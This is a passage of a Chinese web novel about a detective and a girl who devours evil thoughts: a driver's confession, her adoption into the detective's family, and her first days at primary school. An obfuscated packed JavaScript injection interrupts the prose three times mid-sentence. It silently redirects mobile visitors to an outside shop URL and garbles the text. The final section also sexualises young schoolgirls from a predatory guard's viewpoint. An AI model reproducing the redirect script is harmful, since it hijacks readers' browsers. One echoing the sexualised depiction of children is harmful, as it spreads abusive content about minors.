他嘴唇微微发抖,连带着下巴都在轻颤,就像个被吓坏的普通市民。主动打开车门时,他甚至刻意让双手保持着可见的颤抖幅度。 “如果是我违反交规了,我愿意接受处罚……但不能冤枉人啊……” “又一个老废物。”话音未落,贺黎筠已经从口袋里掏出一部手机,按下了播放键。 只见画面里,清晰地记录着周明德撞击前嘴角上扬的表情,那种宛如看见猎物般扭曲的狞笑。 “这是你车辆的行车记录仪,它记录下了一切。” 周明德的瞳孔骤然收缩。 不可能……他明明已经关了! 冷汗浸透了后背,他死死盯着贺黎筠手中的手机画面,看着那些致命的证据被一一宣判。 “行车记录仪里有车内音频证据,还拍下了驾驶行为异常记录。”贺黎筠一字一顿地说,“反复绕行老人聚集区,还有撞击前嘴角上扬的微表情。” 话音刚落,车门已被粗暴地拉开。 冷风夹着雨水灌了进来,贺黎筠一把拽住周明德的衣领,将他拖出了驾驶室,毫不客气地将他压在车上,铐上了手铐。 “周明德,你因涉嫌故意杀人罪,现依法对你进行逮捕。” 雨还在下。 审讯室里,周明德声音嘶哑地坚称:“警官,开车时遇到乱穿马路的人,谁都会爆粗口吧,总不能因为我骂一句‘老废物’就定我杀人罪吧……那不是笑,是太过惊恐肌肉抽搐了……这怎么能算证据。” “前两起都是普通事故,交警都有介入调查,警察同志你们可不能乱冤枉人啊!” 狡辩了两个小时后,他便一言不发,执意要等律师到场。 等待律师的过程,戴着手铐的周明德申请想要上厕所。待独自进入厕所,他惶恐的嘴脸立刻变成了不屑和嗤笑。 没有直接证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺黎筠一个箭步猛地冲了进去,然而看到的却是这么一幕:周明德满脸惨白,像条丧家之犬般瘫在地上发抖,□□一片水迹,不知发生了什么竟吓得不轻。 而薛宓正乖巧地站在一旁,歪着头露出人畜无害的笑容。 “你怎么不小心滑倒了?”贺黎筠面不改色地扯谎。 而听到这话的楚子琦,直接放慢了脚步。 “你……你看不见她?” 薛宓早已迅速地溜回了隔间,周明德猛地回头,身旁竟空空如也! “周明德,你又想玩什么花样!刚刚厕所里就你一个人!”贺黎筠冷笑,“不会是想装精神病逃脱罪行吧?” 懒洋洋倚在厕所门口的楚子琦,对着望过来的贺黎筠撇撇嘴,用口型无声地说:“看来要打持久战了。” 没想到,下一秒,周明德浑身就抖得像筛糠,鼻涕眼泪糊了一脸,满脸惊恐道:“我……我招……我全招!” 楚子琦:“???” 他瞪圆了眼睛,手里的笔录本因震惊差点砸到了脚。 三小时的心理博弈毫无进展,上个厕所就全线崩溃?这他妈是什么新型审讯技巧?! 这案子破得也太他妈魔幻了! “愣着干什么?”将浑身瘫软的周明德带出厕所,贺黎筠头也不回地催促,“做笔录。” 周明德全招后,审讯顺利得不可思议,每一起“意外”的细节,他都涕泪横流地全交代了。 贺黎筠推门出来时,目光立刻被走廊长椅上那个小小的身影锁住。她正晃着两条小短腿,等在审讯室的门口。 刑警支队的人早已眼熟了薛宓,她才能如此轻轻松松地混了进来,甚至有人路过时还顺手揉了揉她的发顶。 薛宓乖巧地笑着,却在看到贺黎筠的瞬间撇了撇嘴。 “你太慢了。”见他还好意思沉着脸看着自己,得知他抓到人就赶过来的薛宓鼓着腮帮子抱怨,“我等了三小时你还没搞定,只能自己出马了。” 是贺黎筠主动打电话让薛宓来的。 可—— 他眯起眼睛:“你做了什么?让他这么快就招了?” “也没做什么,就是让他体验了被撞的感觉而已~”她声音轻快得像个在分享游戏心得的孩子,“一旦产生恐惧的情绪,恶念就能轻松地吞噬了。恶念一被吞噬,他自然就没贼胆了。怎么样,我做的不错吧?” 确实不错。 但贺黎筠没有夸她,指节反而无意识地收紧。 一个力量衰弱期都能轻轻松松制造出幻境的存在,真的太危险了。 若她真的到全盛时期呢? 贺黎筠这样想着,薄唇紧抿成一条线,就见薛宓突然把身旁的一大袋子递了过来。 “喏,等你无聊时买的披萨。钱是借你工位旁边那个漂亮小姐姐的,就是刚刚揉我头的那个,花了八十八。记得还哦。” 贺黎筠:“……” 11. 妈妈 十日后,李武总的精神鉴定落定,具有完全刑事责任能力。 纵火罪,危害公共安全罪,证据确凿,案卷材料已全部移交至检察院。 与此同时,周明德的案卷也一并送了过去。贺黎筠亲自通知了前两起事故的受害者家属。 一名受害者家属急匆匆地问,杀人的话还能不能再得到赔偿,而另一个电话背后,却是一声压抑的、颤抖的:“谢谢……” 虽然晚了太久,但他们这些做刑警的,千辛万苦破案,为的就是让真相大白于天下的这一日,让生者得到安慰,让逝者彻底地得以安宁。 表彰大会后,获得二等功奖章的贺黎筠直接用嘉奖的三千元奖金请大家吃了一顿庆功宴。 宴席间觥筹交错,笑声不断,同事们脸上洋溢着久违的轻松,互相打趣着这段时间的奔波与辛苦。 毕竟,谁都没有想到,仅仅一个半月的时间,他们竟接连破获了两起重大案件!这份成绩,足以让每个人都挺直腰板。 “小贺,来,再喝一杯!” 队长提着酒瓶醉醺醺地凑过来,贺黎筠扯了扯嘴角,勉强举杯迎上去,仰头一饮而尽。 辛辣的酒液滑过喉咙,烧得胃里微微发烫,但他却没什么实感。耳边充斥着同事的笑闹、劝酒声,有人甚至开始起哄,让他讲两句感言。可他只觉得嘈杂。 他其实并不喜欢这种喧闹的场景。只是因为这段时间,大家真的太辛苦了,才主动提出请客。 如今,疲惫感一涌而上,他的思绪不禁飘向了家里那扇安静的门。 已经八点半了。局里批的奖金已经到账,饭钱也提前结了,剩下的……似乎也没他什么事了。 “我先走了。”贺黎筠站起身,“你们继续,账已经结了。” “哎?贺哥,这么早?”楚子琦惊讶地抬头,“等会不去KTV吗?” “嗯,有点累。”他随口应了一句,没多解释,转身离开了酒楼。 二十分钟后,出租车在小区门口停下。贺黎筠付完车费,推门下车,夜风裹着微凉的空气拂过脸颊,让他混沌的思绪更加清醒了些。 他抬手揉了揉太阳穴,酒精带来的轻微眩晕感还在,但并不影响他走路。 连续加班一个多月,案子一个接一个,审讯、走访、熬夜翻卷宗……现在终于尘埃落定,总算能好好休息了…… 电梯缓缓上升,数字一格一格跳动。他靠着内壁,闭了闭眼,疲惫感如潮水般涌上来。 “叮——” 电梯门打开,走廊的感应灯应声亮起。 贺黎筠走到家门口,钥匙刚插进锁孔,就听见里面传来震耳欲聋的电视声——夸张的台词、激昂的背景音乐,还有熟悉的魔法少女变身音效。 ……又开始了。 他手指一顿,嘴角不自觉地抽了抽。 谁能想到,一个以吞噬恶念为生的生物,在沉迷垃圾食品后,又迷恋上了看电视。 美其名曰“从电视里学习现代社会的知识”,实际上,她最近追的剧集列表里全是《豪门恩怨》、《复仇千金》、《霸道总裁爱上我》之类的狗血剧…… 而前天,她又沉迷上了动画片。 他拧开门锁,推门而入。 客厅里,电视机屏幕闪烁着刺眼的光,茶几上堆满了薯片袋、可乐罐和拆开的巧克力包装。 贺黎筠:“……” 他面无表情地关上门,顺手把钥匙丢进玄关的碗里。金属碰撞的清脆声响终于让薛宓回过头来。 四目相对。 他就见最近圆润了一圈的小姑娘踮起脚站在了沙发靠背上。 她双手环胸,下巴微抬,对着自己摆出一副高深莫测的表情:“人类贺黎筠,你想好你的愿望了吗!只要和我签订契约,把灵魂交给我,我就能实现你的任何愿望!” 贺黎筠面无表情地换鞋,对她的表演视若无睹。 自从昨晚她迷上这部魔法少女动画后,这套说辞已经重复了不下十遍。贺黎筠把外套挂好,径直走向厨房倒水。 “不是一个愿望哦,是任何愿望!我可比动画片里的厉害多了!”薛宓不死心地跟在他身后,小手拽住他的衣角,“你考虑考虑嘛,咱们改成灵魂契约,我的能力会变得更强,我什么都可以帮你!只需要你同意就行了!” 贺黎筠停下脚步,低头看着这个满脸期待的小姑娘。她眼睛亮晶晶的,显然这一个月的时间没办法找到他的杀父真凶后,她便开始盘算起了其他主意。 但他明明已经警告过很多次——在妈妈面前要安分守己,不准搞任何奇奇怪怪的举动,否则别怪他把她扫地出门。 看来是时候兑现警告了。 贺黎筠面无表情地伸手,精准地拎住了她的后衣领,作势要把人丢出门外。 然而下一秒,薛宓的眼泪说来就来,哭得那叫一个凄惨:“呜哇——奶奶!叔叔打我!呜呜呜……” 厨房里传来碗碟碰撞的声响,崔芳华举着还在滴水的双手冲了出来:“你干嘛打孩子呢!” 后脑勺挨了重重一下的贺黎筠:“……” 躲在老人怀里装哭的薛宓:哼! 慈母多败儿。 贺黎筠在心里叹了口气。薛宓现在就是那个恃宠而骄的存在。 他委婉地提了好几次,不需要妈妈这么照顾薛宓,但每次话到嘴边,看到妈妈脸上满足的笑容,又咽了回去。 他一直知道,妈妈以前就喜欢女儿。 记得小时候翻相册,妈妈曾指着怀孕时的照片说:“酸儿辣女,怀你的时候特别爱吃辣的,而且皮肤特别好,大家都说我肯定怀的是女娃娃。” 照片里,年轻的崔芳华正织着一件粉色的针织衫,眉眼温柔地弯起。 谁知生出来是个大胖小子,导致他小时候穿的童装都是靓丽的粉色。 他长大些后,妈妈曾好几次犹犹豫豫地问他要不要个妹妹。但父亲工作太忙,二胎的计划就这么搁置了。 直到父亲离世的那天—— 妈妈因伤心过度晕倒,被送到医院时,裙摆上都是血。医生检查后才知道,她竟然怀孕了,只是她自己都没发现。 那个意外流产的小生命,或许就是父母曾经期待的小妹妹吧…… “小筠啊……”离开前,崔芳华欲言又止了好几次,终于犹豫着开口,“这孩子……都这么久了,她父母也没来找……” “要不……”她小心翼翼地看了眼正在看动画片的薛宓,声音放得很轻,“把户口落在咱们家?我之前问过她愿不愿意和我们一辈子生活,她说愿意的。” 她生怕儿子不同意,连忙又补充道:“当然收养在我的名下,成为我的女儿。你放心,不会影响你以后找媳妇的。” 贺黎筠抿了抿唇。他知道薛宓明显理解错了意思,而他也同样知道妈妈在担心什么……现在社会,男的带着个小拖油瓶确实不好找对象。 他下意识地望向薛宓,她正看得入迷,完全没注意到这边的谈话,反而随着剧情的进展,竟眼泪汪汪了起来。 不就是魔法少女变身的动画片吗?怎么还看哭了呢…… “这孩子……”崔芳华的目光柔软下来,“不知道是不是失忆的原因,我发现她好多常识都不懂,字也不认识几个。虽然聪明,一学就会,但不读书总归是不好的。有了户口,这孩子才能继续上学读书……” 看着妈妈期待又忐忑的神情,贺黎筠已经意识到这是她埋藏多年却始终未能圆满的期盼。 而薛宓,这个来历不明的生物,现在正学着动画片里的套路要和人签订契约。今天是对着他,明天呢? 她会不会真的去蛊惑他人? 现在她是吞噬恶念,那若有一天……她会不会真的开始吞噬起灵魂? 这个念头如芒刺在背,让贺黎筠不自觉地绷紧了神经。而他一直不觉得动画片能带坏小孩子,可再这么日日夜夜沉迷在动画片里,迟早要废掉。只能用九年义务教育来纠正她的三观了。 “好。”他听见自己说。 崔芳华的眼睛一下子亮了起来:“真的?你同意了?” “嗯。”贺黎筠点点头,“登报公示两个月后仍找不到生父母的弃儿,可以去民政局特批收养。” 他顿了顿,又补充道:“正好九月开学,应该能赶得上。” 崔芳华一听,也不着急走了,连忙兴奋地小跑到薛宓跟前:“小宓!叔叔同意啦!以后我们是一家人了!” 话刚出口,她自己先笑着摇头纠正:“不对不对,以后不能再叫叔叔了。”她蹲下身,轻轻擦掉薛宓脸上看动画片哭出来的泪痕,“要叫哥哥。” 正为动画片里牺牲的魔法少女哭得稀里哗啦的薛宓:“???” “还有我。”崔芳华温柔地理了理薛宓翘起的刘海,声音里带着藏不住的期待,“以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472517|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后要叫妈妈啦。” 薛宓的嘴巴顿时张成了圆型,动画片里悲壮的背景音乐还在继续,但她已经完全顾不上看了。 眼前是崔芳华温柔的笑脸,那双与贺黎筠如出一辙的黑眼睛里,盛满了小心翼翼的期待,薛宓不知为何有些喉咙发紧,立刻慌乱地转头寻找贺黎筠的身影。 她看不出那张面无表情的脸上是否情绪,就见他对她微微颔首,薄唇无声地开合——契约。 只要喊一声“妈妈”,他就愿意和她结契灵魂契约了吗? 他们现在的因果契约太过麻烦。原本想着帮他找到杀父凶手就能速战速决,谁知道这个案子比想象中棘手得多。 虽然借着贺黎筠刑警的身份,她能接触到更多恶念来增强力量,但人类太脆弱了,而他的工作又太危险了。 说不定哪天就会像他父亲一样,死得猝不及防。到时候契约还没解除,她岂不是要倒大霉? 灵魂契约就不同了。 贺黎筠死后,他的灵魂将永远归她所有。 不仅能获得他强大的灵魂力量,更能彻底摆脱因果契约的束缚——不必再担心他突然遭遇不测导致自己背负因果业障,反而能在他死后得到最大收益。 毕竟人类终有一死。 而像贺黎筠这样冷静克制、正义感爆棚的灵魂,尝起来绝对……格外美味。 怎么看都是稳赚不赔的交易! 贺黎筠根本不知道两种契约之间的关键差别——这才是她费尽心机诱导他更改契约的真正原因。 现在,他终于愿意了…… “小宓是不是觉得太突然了?”崔芳华的声音有些忐忑,“那等正式落户后再改口吧……” 不,不能就这么错过! “妈、妈妈……” 陌生的称谓在唇齿间轻轻地打了个转,终是细若蚊吟地脱口而出……而下一秒,她就被拥入一个温暖的怀抱。 崔芳华的手臂微微发颤,却将她搂得那样紧,这样突如其来的亲密让薛宓万分无措,她僵硬着身子,求助地望向贺黎筠,却见他不紧不慢地上前,竟在她瞪人的目光下,摸了摸她的发顶。 “妹妹乖,以后要听妈妈和哥哥的话。” 薛宓对着他翻了个白眼。 在崔芳华离开后,她一把逮住要去洗漱的贺黎筠,催促道:“灵魂契约,你答应了对吧。” “你能同时和几个人缔结这种契约?”贺黎筠不着痕迹地抽回手。 “一次只能一个吧?”薛宓心里也有些虚,却还是扬起小脸,露出一副倨傲的神情,让自己看起来更有气势些,“你该感到荣幸才对——我非常讨厌人类,而你可是第一个能和我签订灵魂契约的人类。只要你诚心地侍奉我,我就能实现你的任何愿望。” 贺黎筠垂眸看着这个还不到自己胸口高的小不点,挑了挑眉打断:“可一个月了,你连我的杀父仇人都没找到,就想要我卖掉自己的灵魂和你签终身契约?” 太聪明的人类就是麻烦! 薛宓的包子脸瞬间沉了下来,几乎是从牙缝里挤出声音:“所以……你刚刚是在骗我?” “也不是。”望着瞬间炸毛的小姑娘,贺黎筠语气平静道,“毕竟是终身制,我们是要生活在一起的。你靠吞噬恶念生存,我负责侦破案件,这只是各取所需。但除此之外,你什么都不会,连简体字都不识,怎么帮我实现其他愿望呢?” “我可以学。”薛宓眯起深棕色的瞳孔,“这世间还没有我学不会的东西。” “那就证明给我看。”贺黎筠拿出一个平板电脑,“网上有一些小学讲课的视频,明天我也会带小学课本回来。你先自学看看,每周我会检查你的学习进度。九月再根据你学习的情况,决定插班年级……” 他故意停顿:“如果连拼音都学不会,恐怕得从一年期开始读起。” 修长的骨节在平板边缘敲出轻响,他太了解如何刺激她的好胜心了。 果然—— “呵。等我把你们人类的文字学透,看你还有什么借口。” 贺黎筠看着她斗志昂扬的模样,不动声色地递过平板:“那就从今天开始学习。你会用平板吗?” “少瞧不起人。”她头也不抬地戳着屏幕,“你妈连网购都教我了。” 贺黎筠看着薛宓嘴里虽还在嘟嘟囔囔着有些不满,但已经不由自主地捧起了平板,他唇角微不可察地扬起。 12.上学 一个半月的时间,薛宓已经自学完了小学三年级的课本。被贺黎筠夸奖后,她得意地小尾巴都翘了起来。 再加上这段时间消化了不少恶念,她的身体也发生了变化——原本瘦小的个子长高了些,脸颊也圆润了不少,面色红润,看上去活脱脱就是个九岁的人类小孩。 贺黎筠干脆给她报了四年级。 不过,他并没有真的把她加入户口本。而是以监护人的身份,给她办理了暂住证。 若是日后她不在了……至少还能跟妈妈解释,说是找到了她的亲生父母,送回去了。 薛宓的入学手续办得很顺利。作为贺黎筠监护下的暂住儿童,她被安排在家附近的光明小学就读。 就在两条马路外,上下学都很方便。 开学前一天的报到日,崔芳华特意给薛宓扎了双马尾。 粉色的发绳缀着两颗小樱桃,两束乌黑的发辫垂在肩头,衬得她瓷白的小脸愈发莹润朝气,连平日里总是翘起的呆毛都显得格外乖巧。 “到了学校要听老师的话。”贺黎筠一边检查书包里的文具,一边叮嘱道,“别给老师添乱。” 毕竟是第一次上学,贺黎筠需要提前半小时到校与班主任见面,那些该打点的、该嘱咐的,都得在薛宓进教室前安排妥当。 贺黎筠的叮嘱,薛宓左耳朵进右耳朵出。她踮着脚在镜子前转了个圈,挂着毛绒绒卡通兔子的粉色书包在她背上轻轻晃动,被迫早起的脸色却恹恹的。 她现在才知道,所谓的“上学”竟然是每周要上五天!从早上八点二十到下午三点半,整整七个小时。 她上当了。 “小宓还没睡饱,小筠,今天就开车去吧。” 贺黎筠正在系领带,闻言手指一顿:“……妈,走路上学更锻炼身体。而且早高峰会堵车。” 崔芳华不赞同地看了他一眼,把粉色书包递了过去:“那你帮她背书包吧。” 贺黎筠望着那个毛绒兔子挂件一晃一晃的书包,陷入沉默:“……” 早上七点半,办公室的门被轻轻叩响。 李秋华从教案中抬起头,只见一道欣长挺拔的身影立在门前。 男人身着熨烫平整的白色衬衫,袖口随意地挽至肘部,露出线条分明的小臂。他眉骨高耸,衬得那双眼睛格外深邃,下颌线像是工笔画勾勒出来的,整个人透着股生人勿近的冷峻。 如果忽略他手里拎着的、挂着毛绒绒兔子的粉色书包和身后探出的、扎着双马尾的小脑袋的话。 “老师您好。”站在一旁的崔芳华拘谨地开口,“请问哪位是四年级二班的班主任。” “您……您好!”李秋华慌忙站起来,耳根莫名发烫,“是转学生的薛宓家长吗?我是二班的班主任李秋华。” “李老师您好。” 贺黎筠跟着道,顺手把探头探脑、猫猫祟祟的薛宓往前带了带:“她情况特殊,麻烦李老师平日里多多关照。有任何情况,随时可以联系我。” “李老师您好。”小姑娘怯怯地出声。 崔芳华忧心忡忡地在旁补充:“这孩子刚来我们家不久,很多事都不太懂,见到生人也有些内向。要是有什么做得不对的地方,还请老师您多包涵……” 听完简短的说明——被拐卖、失忆、暂住警察家、被收养后,李秋华眼眶都红了。她蹲下身,温柔地握住小姑娘的小手:“好孩子,以后有什么需要,随时来找老师。” 她下意识想抽回手,却又被更轻柔地握紧。 “薛宓妈妈、薛宓哥哥放心。我也是这学期刚接手四年级,每个孩子在我这里都是崭新的开始。我现在先带薛宓同学去班级认识新同学。刚到新学校需要适应期,我们会耐心陪伴她度过这段时间的。” 眼前的中年女性和崔芳华一样散发着那种令人不适的、温软善意的人类气息。她花了整整三个月才勉强习惯了崔芳华时不时的亲昵,结果又来了一个爱动手动脚的。 薛宓感觉自己被握着的手心都有些出汗。 她讨厌人类。 他们的愚蠢、脆弱、自以为是,都让她作呕。 学习人类的知识、人类的规则,只是为了更快地和贺黎筠签订灵魂契约,以此掌控他增强自己的力量。 至于此刻脸上挂着的乖巧笑容?不过是降低戒心的伪装罢了。 ——适应规则,才能更好地打破规则。 ——融入世界,才能更彻底地毁灭世界。 可是,就像是幼崽离开了安全区,被牵着离开办公室时,薛宓的脚步却不自觉地慢了。一步,两步,第三步时,她终于还是回过头…… 晨光透过走廊的玻璃窗,将崔芳华的身影勾勒得模糊又温暖。她还站在原地,眼眶通红,却努力冲她笑着挥手,像是怕她担心似的。 有什么好担心的,果真是个愚蠢的人类。 如果贺黎筠也那么好骗就好了……薛宓垂下眼帘。 “同学们安静!”李秋华拍了拍手,声音不大却极有穿透力,教室里窸窸窣窣的说话声立刻低了下去。 “我是你们的新班主任,李秋华。”她转身在黑板上写下自己的名字,粉笔字端正有力,横平竖直,像是她这个人一样,不拖泥带水。 “负责教你们语文。我这个人很简单,上课认真听,作业按时交,有问题随时问。至于其他的我们慢慢了解。希望未来这一年,希望我们能互相配合,共同进步。” 她顿了顿,目光含笑地在教室里扫了一圈,对着门口招了招手道:“今天除了我是新来的外,我们班还来了一位新同学。” 随着她的话音落下,教室里的窃窃私语戛然而止,所有人的目光都不自觉地投向门口。 只见一个纤细的身影缓步走了进来,崭新的校服衬得她格外清爽,过肩的黑发扎成两个乖巧的马尾,瓷白的肌肤在窗边倾泻的暖阳中近乎透明,那双澄澈得过分眼睛水灵灵的,就像个精心雕琢的洋娃娃。 而同一时刻,三十多双眼睛齐刷刷看过来,发现自己和一群小萝卜头一起上学的薛宓:“……” “来,做个自我介绍吧?”李秋华弯腰鼓励道。 薛宓绷着小脸,冷淡地吐出四个字:“我叫薛宓。” 李秋华和蔼地笑了笑:“薛宓同学有些内向呢。大家欢迎新同学好不好?” “薛宓同学你好!” 整齐的童声在教室里响起,几个前排的孩子甚至兴奋地挥起了小手,眼睛亮晶晶地望着讲台。 “新同学好漂亮啊……” “是混血儿吗?” 细碎的议论声在教室各个角落响起。后排几个小男孩不自觉地伸长脖子,努力想看清这个过分精致的转学生。 靠窗的男生甚至碰倒了铅笔盒,哗啦啦的声响引得全班哄笑。 李秋华环视教室,目光落在倒数第二排:“只有林美美旁边有个空位了。”她转向薛宓,声音温和,“薛宓同学先坐到她旁边吧。如果太后面看不清,老师再给你重新换位置。我们班级每一个月都会按照身高轮换同桌。” 薛宓顺着李秋华手指的方向看去。 靠窗的座位旁,一个瘦弱的小女孩正局促地低着头。她脸上长着一些雀斑和痘痘,见她走过来,手指紧张地绞在一起。 “你、你好……”她细若蚊蝇地说着,下意识往墙边缩了缩,在课桌边缘让出更多的空间。 “你好。” 薛宓面无表情地放下书包,刚一坐下,隔壁就戳了戳她的手臂,小声道:“等会发新课本,我带了很多包书纸,你如果需要的话可以找我要,这样就不用重重地带回家包了……” 她话还未落,她身后的男孩就激动地拍了拍薛宓的后背:“嘿!新同学!我叫曹长胜!”他咧着嘴笑,露 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薛宓就见隔壁拿出了粉色猫咪图案的纸张开始小心翼翼地包书,见她站起来,立刻停下了手中的动作。 “薛宓,你是要去厕所吗?”她怯生生地问,“我、我和你一起去吧?” 薛宓皱眉:“……为什么上厕所要一起去?” “因为排队时间长,一起去的话可以聊聊天……”林美美的声音越来越小。 这是什么奇怪的人类社交习惯? 薛宓最终还是拒绝了。 班干部竞选环节毫无悬念,基本沿用了三年级的原班人马。也不知是不是薛宓长得太好看了,选文娱委员时,明明没有报名,竟还得到了两票。 整个上午就在安全教育、行为规范这些枯燥的内容中度过。薛宓无所事事,只想趴着睡觉。直到终于熬到放学,她拎起书包就要走,谁知刚站起身,就被一群热情的小萝卜头团团围住。 “薛宓明天见!” “薛宓,我带你参观学校吧?” “要不要一起去小卖部?” “薛宓你坐班车吗?你家住哪个方向啊?” “我不坐班车。”薛宓冷酷地拒绝所有邀请,“有人来接我的。” 校门口挤满了接孩子的家长,喧闹的人群中,薛宓一眼就捕捉到了那个格格不入的身影,正倚在一辆黑色的轿车旁。 怕薛宓个子小看不到自己,贺黎筠远远地就朝她招了招手。修长的身影裹在藏青的警服里,惹得四周的家长频频望去。 “学校生活如何?”见她慢悠悠走近,贺黎筠主动问道。 他实在架不住妈妈的再三叮嘱,再加上这是薛宓第一天上学,他也担心她会闹出什么乱子,守着手机一整日,就怕老师真的打电话来。 幸好,今天也空闲。 “无聊,浪费时间。”薛宓撇撇嘴,拉开车门钻进了副驾驶。 她懒洋洋地陷进座椅里,校服裙摆皱成一团,目光漫不经心地扫过窗外—— 正好看见林美美独自走出校门。 那个消瘦的女孩背着一个破旧的书包,她的视线正要收回时,忽然顿住。 一个穿着保安制服的中年男人朝着林美美走了过去,粗糙的大手轻轻揉了揉她的发顶。女孩仰起脸,方才还黯淡的眼睛瞬间亮了起来。 “在看什么?” 贺黎筠系好安全带,顺着她的目光望去,只看到一片熙攘的家长群。 薛宓唇角微勾:“在看我的同桌。” “嗯?”贺黎筠发动车子,“同学们怎么样?” “都挺蠢的。”她歪头靠上车窗,玻璃映出深棕色的眼底,“不过……” 窗外斑驳的树影掠过她的脸颊。 “也挺有趣的。” 13.朋友 “早上好,林美美。” 清灵的声音从头顶传来,林美美握着铅笔的手一颤,有些震惊地抬起了头。 映入眼帘的是一双含着浅笑的眼眸,她完全没想到昨天对她爱答不理、连自我介绍都冷冰冰的转学生竟主动和自己打招呼。 精致瓷白的脸蛋在阳光下仿佛泛着光,就像是小天使降临在身旁一样。 “早、早上好,薛宓。”她慌忙合上笔记本,有些腼腆地红着脸,“叫我美美就行了。” “美美,那你叫我宓宓吧。”纤细的手指轻轻搭在桌沿,薛宓抿了抿唇,露出一个略带歉意的笑容,“昨天刚转学来,我有点紧张,所以没怎么说话……希望你不要介意。 “我、我没有介意!” “我刚转来,好多事情都不懂。”薛宓的声音又轻又软,“如果有不懂的地方,可以问美美吗?” 新转学生竟然还主动跟她解释!林美美感觉心脏像是被什么东西轻轻撞了一下,扑通扑通跳得厉害:“当然!” 果然是个蠢姑娘。 铺垫完毕后,薛宓状似不经意地问道:“你平常都是爸爸妈妈接送上下学吗?” “啊,不是……”林美美的声音低了下去,“我都是自己回家的……我和外公外婆住在阳光花园小区。因为离得近,我都是走路上下学的。” “欸?我昨天放学的时候看到你和一位穿着制服的叔叔走在一起,还以为那位警察叔叔是你爸爸……” 这句话像一根细针,轻轻扎进林美美的心口。 原来……是因为这个吗?薛宓主动和她说话的理由。 林美美感觉胸腔里那簇雀跃的小火苗“嗤”地一声熄灭了,取而代之的是一种熟悉的、沉甸甸的闷痛。 “啊不是,那是学校的保安孙全伟叔叔,保安制服和警服确实有点像。”她垂下眼睛,声音不自觉地低了下去,脑海里却不由自主地响起了第一次见到孙叔叔时的情景。 那个大雨天,她站在校门口,看着其他同学一个个被父母接走。 一如既往的,她要冒着大雨飞奔回家了……但那一天,在她淋成落汤鸡的时候,却有人撑着伞向她走了过来…… 然后,那把深蓝色的伞停在了她头上。 “小朋友,怎么下雨天一个人回家呀?这样冒雨回去,会生病的。” 第一次有人主动地关心她,将伞撑到了她的头上。她以为自己遇到了好心的警察叔叔,后来才知道是学校的保安叔叔。 林美美咬了咬下唇。现在想来,或许正是那一刻的错觉,让她在得知孙叔叔和她是同一个小区时,内心溢满了止不住的欣喜。 因为,每次和孙叔叔一起回家,走在那个高大的身影旁边,她就能短暂地假装——假装自己也是个有爸爸来接的孩子。 孙叔叔会给她买零食,会陪她挑选玩具,那些顺路送她回家的傍晚,渐渐填补了她心里某个空洞的角落。 窗外的阳光突然变得刺眼起来。林美美眨了眨有些发热的眼睛,努力扯出一个笑容:“孙叔叔和我住一个小区,所以不值班的时候,就会带我一起回家。” 她说着,从书包里掏出一包小熊饼干,主动递给薛宓一块:“孙叔叔人特别好,经常给我带零食,这些文具和包书纸也都是他带我去买的。” 薛宓接过饼干。 人类怎么可能无缘无故对其他人这么好?这种好,必定是另有所图。 但对林美美这个普通的小学生,有什么可图的呢。 薛宓的视线不着痕迹地扫过林美美纤细的手腕和脖颈,那里干干净净,没有任何异常,但昨日,上面分明缠绕了几缕几乎看不见的黑丝。 和那些周身缠绕着浓稠黑雾的杀人魔不一样,孙全伟身上的气息稀薄得近乎无害。那不过是一个普通人心底滋生的阴暗念头,微弱得连成形都勉强。 可偏偏就是这些细若游丝的黑气,在男人粗糙的手触碰到女孩的瞬间,突然活物般蠕动起来,贪婪地攀附而上。 “其实,我家就在阳光花园小区旁边……”薛宓小口咬着饼干,声音含糊道,“以后我们一起放学回家吧。” “真的吗!”林美美惊喜地抬头。 含笑的眼眸清澈见底地望着她,没有一丝她想象中的失望或疏离。 她瞬间开心道:“太好了!总是麻烦孙叔叔带我回家我也不好意思。我们可以走小区后门那条路,那里的桂花现在开得可香啦。” “恩恩。” 望着薛宓摆出来的崭新课本,林美美的眼睛又亮了起来,双手几乎是迫不及待地伸向自己的书包:“你怎么还没包书呀!我帮你包书吧!我最会包书了,孙叔叔教过我特别厉害的方法,书角能包得特别整齐!” 她边说边从书包里掏出一叠印着小雏菊图案的包书纸,献宝似地推到薛宓面前:“你看这个花色喜欢吗?还有小熊和猫咪图案的。” 林美美的热情让薛宓完全吃不消。但和她打好关系,才能顺理成章地接近自己的任务目标,薛宓还是跟着一起包起了书。 “真是麻烦你了。” “不麻烦不麻烦。”林美美异常开心。 监控室里,孙全伟眯着眼切换着屏幕,贪婪地扫过一个个鲜活的身影。 画面里孩子们嬉笑打闹,而他最喜欢看体育课的画面。 汗水浸透的校服紧贴在身上,随着跑跳勾勒出青涩的曲线。那些刚刚发育的身体,就像含苞待放的花蕾,散发着诱人的香味。 每当这时,他粗糙的手指就会无意识地摩挲着控制台的边缘…… ——这个年纪的女孩子才是最完美的。 他在心里暗想,喉结不自觉地滚动。 那些成年女人矫揉造作的样子让他作呕,只有这些天真无邪的小东西,才能唤起他最原始的冲动。 她们每一个细微的表情,每一次不经意的动作,都像精心设计的诱惑,让他既兴奋又痛苦。 没人知道,他已经盯着那个总是独来独往的小女孩整整一个学期,渐渐从她嘴里套出——母亲早逝,父亲失踪,跟着年迈的外公外婆生活。因为性格内向,也没有在班级里交到朋友。 虽然长得不算好看,但圆润的身体已经发育,拥有稚嫩且饱满的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 